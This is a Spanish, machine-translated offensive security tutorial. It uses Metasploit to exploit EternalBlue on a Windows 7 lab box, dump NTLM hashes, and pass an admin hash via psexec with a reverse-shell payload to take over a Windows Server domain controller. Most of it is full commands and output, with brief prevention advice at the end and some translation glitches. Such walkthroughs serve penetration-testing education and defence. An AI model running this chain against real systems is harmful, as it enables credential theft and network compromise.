NOTA IMPORTANTE: El delito informático está severamente castigado por la ley. Esta página no promueve el delito informático, es divulgativa y muestra los mecanismos que utilizan los cibercriminales para poder identificar el ataque si has sido victima de uno de ellos. En el caso de que hayas sido victima de un ataque te recomendamos que busques recursos legales en la sección Cibercrime Law o en la página del Instituto Nacional de Ciberseguridad: https://www.incibe.es/

BlogWonderHowTo

Cómo: realizar un ataque Pass-the-Hash y obtener acceso al sistema en Windows

[*]

Las contraseñas de Windows se almacenan como hashes y, a veces, pueden ser difíciles de descifrar. En ciertas situaciones, sin embargo, podemos evitarlo usando el hash tal cual, sin necesidad de conocer la contraseña de texto sin formato. Es especialmente interesante si podemos lograr obtener el hash de un usuario administrativo, ya que luego podemos autenticarnos con privilegios más altos realizando un ataque conocido como pasar el hash.

Inicialmente estaremos comprometiendo una caja de Windows 7, tomando un hash de allí y girando a Windows Server 2016. El usuario cuyo hash de contraseña obtenemos debe tener privilegios administrativos y haber iniciado sesión en ambas máquinas. Usaremos Kali Linux como nuestra caja de ataque.

Descripción general de Pass the Hash

Para comprender la técnica de pasar el hash, primero debemos cubrir lo que compone el hash. En Windows, un hash típico se verá así:

admin2:1000:aad3b435b51404eeaad3b435b51404ee:7178d3046e7ccfac0469f95588b6bdf7:::

Hay cuatro secciones distintas, cada una separada por un punto y coma. La primera parte del hash es el nombre de usuario y la segunda parte es el identificador relativo numérico.

La tercera parte es el hash LM, un tipo de hash que se usaba en sistemas Windows más antiguos y se suspendió a partir de Vista / Server 2008. Ya no los ve mucho, pero aún es posible encontrarlos si los sistemas más antiguos todavía están en uso. Si lo hace, considérese afortunado porque son triviales de romper.

La cuarta parte es el hash NTLM, una versión actualizada utilizada en los sistemas Windows modernos que es mucho más difícil de descifrar. A veces también se lo conoce como NTHash, y es lo que podemos usar para pasar el hash.

Nuestro ataque funciona debido a la forma en que se almacenan, transmiten y utilizan las contraseñas para autenticarse. Piénselo: su contraseña no se está lanzando por la red en texto plano para que todos la vean, sino que está cifrada desde el momento de su creación.

Al autenticarse con un nombre de usuario y contraseña, la contraseña se codifica una vez que la escribe. A fin de cuentas, la computadora no ve una diferencia entre la contraseña y el hash al final. Entonces, al proporcionar el mecanismo de autenticación con el hash directamente, podemos evitar la necesidad de conocer la contraseña de texto sin formato.

Las cosas se ponen especialmente interesantes porque siempre que sepamos el nombre de usuario, podemos autenticarnos como administrador solo con el hash de la contraseña.

Paso 1: agarre el hash del objetivo inicial

Lo primero que debemos hacer es comprometer el objetivo inicial. En este escenario, asumiremos que se trata de una estación de trabajo normal (nuestra máquina con Windows 7). Cualquier método funcionará, pero por ahora, supongamos que esta máquina es vulnerable a cd EternalBlue.

Podemos usar Metasploit para poseer fácilmente el objetivo. Primero, inícielo:

~# msfconsole

msf5 >

Luego, ejecutemos un módulo “eternamente azul”. Para obtener más información sobre este módulo, consulte mi guía anterior sobre la explotación de EternalBlue en un servidor Windows.

msf5 > use exploit/windows/smb/ms17_010_eternalblue
msf5 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 10.10.0.1:1234
[*] 10.10.0.104:445 - Connecting to target for exploitation.
[+] 10.10.0.104:445 - Connection established for exploitation.
[+] 10.10.0.104:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.0.104:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.0.104:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.0.104:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.0.104:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
[+] 10.10.0.104:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.0.104:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.0.104:445 - Sending all but last fragment of exploit packet
[*] 10.10.0.104:445 - Starting non-paged pool grooming
[+] 10.10.0.104:445 - Sending SMBv2 buffers
[+] 10.10.0.104:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.0.104:445 - Sending final SMBv2 buffers.
[*] 10.10.0.104:445 - Sending last fragment of exploit packet!
[*] 10.10.0.104:445 - Receiving response from exploit packet
[+] 10.10.0.104:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.0.104:445 - Sending egg to corrupted connection.
[*] 10.10.0.104:445 - Triggering free of corrupted buffer.
[*] Sending stage (206403 bytes) to 10.10.0.104
[*] Meterpreter session 1 opened (10.10.0.1:1234 -> 10.10.0.104:49210) at 2019-04-08 10:29:38 -0500
[+] 10.10.0.104:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.0.104:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.0.104:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter >

Meterpreter tiene un comando útil llamado hashdump que volcará cualquier hash LM o NTLM presente en el sistema.

meterpreter > hashdump

admin2:1000:aad3b435b51404eeaad3b435b51404ee:7178d3046e7ccfac0469f95588b6bdf7:::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Parece que hay un usuario llamado “admin2” que probablemente tenga privilegios administrativos. Podemos copiar el hash y usarlo para conectarnos a otra máquina.

Digamos que hay otra computadora en la red que parece un servidor, posiblemente un controlador de dominio (este será el cuadro de Windows Server 2016). Si podemos acceder a esa máquina, podríamos ser propietarios de toda la red y de cualquier computadora del dominio.

Paso 2: pasar el hash con PsExec

Ahora que tenemos el hash de un usuario privilegiado, podemos usarlo para autenticarnos en el cuadro de Windows Server 2016 sin proporcionar la contraseña de texto sin formato. Podemos hacer esto con Metasploit’s psexec módulo.

PsExec es una herramienta de línea de comandos en Windows que le permite ejecutar programas y comandos en sistemas remotos. Es útil para los administradores porque se integra con las aplicaciones y utilidades de la consola para una redirección perfecta de la entrada y la salida. Pero siempre existe un compromiso entre comodidad y seguridad. Un atacante puede abusar de PsExec para ejecutar comandos maliciosos o para servir como puerta trasera.

Metasploit contiene una versión modificada de PsExec que facilita la conexión a objetivos remotos. Utilizar el búsqueda comando para localizar el módulo:

msf5 > search psexec

Matching Modules
================

   #   Name                                         Disclosure Date  Rank       Check  Description
   -   ----                                         ---------------  ----       -----  -----------
   1   auxiliary/admin/smb/ms17_010_command         2017-03-14       normal     Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   2   auxiliary/admin/smb/psexec_command                            normal     Yes    Microsoft Windows Authenticated Administration Utility
   3   auxiliary/admin/smb/psexec_ntdsgrab                           normal     No     PsExec NTDS.dit And SYSTEM Hive Download Utility
   4   auxiliary/scanner/smb/impacket/dcomexec      2018-03-19       normal     Yes    DCOM Exec
   5   auxiliary/scanner/smb/impacket/wmiexec       2018-03-19       normal     Yes    WMI Exec
   6   auxiliary/scanner/smb/psexec_loggedin_users                   normal     Yes    Microsoft Windows Authenticated Logged In Users Enumeration
   7   encoder/x86/service                                           manual     No     Register Service
   8   exploit/windows/local/current_user_psexec    1999-01-01       excellent  No     PsExec via Current User Token
   9   exploit/windows/local/wmi                    1999-01-01       excellent  No     Windows Management Instrumentation (WMI) Remote Command Execution
   10  exploit/windows/smb/ms17_010_psexec          2017-03-14       normal     No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   11  exploit/windows/smb/psexec                   1999-01-01       manual     No     Microsoft Windows Authenticated User Code Execution
   12  exploit/windows/smb/psexec_psh               1999-01-01       manual     No     Microsoft Windows Authenticated Powershell Command Execution
   13  exploit/windows/smb/webexec                  2018-10-24       manual     No     WebExec Authenticated User Code Execution

Es un viejo pero bueno. Cárgalo con el usar mando.

msf5 > use exploit/windows/smb/psexec

Ahora podemos mostrar la configuración actual con el opciones mando.

msf5 exploit(windows/smb/psexec) > options

Module options (exploit/windows/smb/psexec):

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   RHOSTS                                 yes       The target address range or CIDR identifier
   RPORT                 445              yes       The SMB service port (TCP)
   SERVICE_DESCRIPTION                    no        Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                   no        The service display name
   SERVICE_NAME                           no        The service name
   SHARE                 ADMIN$           yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
   SMBDomain             .                no        The Windows domain to use for authentication
   SMBPass                                no        The password for the specified username
   SMBUser                                no        The username to authenticate as

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Primero, necesitamos configurar la dirección IP del objetivo (el servidor al que ahora nos dirigimos):

msf5 exploit(windows/smb/psexec) > set rhosts 10.10.0.100
rhosts => 10.10.0.100

Luego, podemos establecer el nombre de usuario y la contraseña, utilizando el hash que obtuvimos en lugar de una contraseña de texto sin formato.

msf5 exploit(windows/smb/psexec) > set smbuser admin2

smbuser => admin2

msf5 exploit(windows/smb/psexec) > set smbpass aad3b435b51404eeaad3b435b51404ee:7178d3046e7ccfac0469f95588b6bdf7

smbpass => aad3b435b51404eeaad3b435b51404ee:7178d3046e7ccfac0469f95588b6bdf7

A continuación, configure la carga útil: utilizaremos el TCP inverso clásico de Meterpreter.

msf5 exploit(windows/smb/psexec) > set payload windows/x64/meterpreter/reverse_tcp

payload => windows/x64/meterpreter/reverse_tcp

Y la dirección IP de nuestra máquina local y un puerto deseado.

msf5 exploit(windows/smb/psexec) > set lhost 10.10.0.1

lhost => 10.10.0.1

msf5 exploit(windows/smb/psexec) > set lport 1234

lport => 1234

El resto de las opciones predeterminadas están bien por ahora, por lo que deberíamos estar listos para comenzar. Dispara con el correr mando.

msf5 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 10.10.0.1:1234
[*] 10.10.0.100:445 - Connecting to the server...
[*] 10.10.0.100:445 - Authenticating to 10.10.0.100:445 as user 'admin2'...
[*] 10.10.0.100:445 - Selecting PowerShell target
[*] 10.10.0.100:445 - Executing the payload...
[*] Sending stage (206403 bytes) to 10.10.0.100
[+] 10.10.0.100:445 - Service start timed out, OK if running a command or non-service executable...
[*] Meterpreter session 2 opened (10.10.0.1:1234 -> 10.10.0.100:49864) at 2019-04-08 10:36:37 -0500

meterpreter >

Y ahora tenemos una sesión de Meterpreter. Para confirmar, podemos emitir comandos como getuid y sysinfo para mostrar información sobre el objetivo.

meterpreter > getuid

Server username: NT AUTHORITYSYSTEM

meterpreter > sysinfo

Computer        : DC01
OS              : Windows 2016 (Build 14393).
Architecture    : x64
System Language : en_US
Domain          : DLAB
Logged On Users : 4
Meterpreter     : x64/windows

Con buena pinta. Ni siquiera necesitábamos una contraseña, solo el hash, para acceder al servidor. Ahora somos dueños de este sistema.

Prevención

En general, es bastante difícil defenderse de un ataque pass-the-hash porque termina pareciendo una autenticación estándar. Lo mejor que puede hacer es implementar un defensa en profundidad enfoque para mitigar los daños potenciales.

Acuerdo privilegios al mínimo anulará la cantidad de daño que un atacante puede hacer si logra un punto de apoyo inicial en la red. También se deben utilizar otros métodos de defensa estándar, como el uso de un firewall e IDS / IPS para monitorear y prevenir cualquier actividad maliciosa.

Windows también se puede configurar para que no almacene en caché las credenciales, lo que evitaría que los atacantes recopilen hashes almacenados en la memoria. También se pueden tomar medidas adicionales para aislar los sistemas sensibles en la red para limitar la capacidad de un atacante para pivotar.

Conclusión

En este tutorial, aprendimos sobre los hashes de Windows, cómo se usan en la autenticación y cómo se puede abusar de ellos para realizar un ataque de pasar el hash. Después de comprometer un objetivo de bajo nivel, descartamos los hash y encontramos una cuenta administrativa. A partir de ahí, usamos Metasploit para pasar el hash y finalmente obtener acceso al sistema en un servidor. Si tiene alguna pregunta sobre esto, hágala a continuación.

Imagen de portada de rawpixel / Pexels

Publicaciones relacionadas

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Botón volver arriba
Cerrar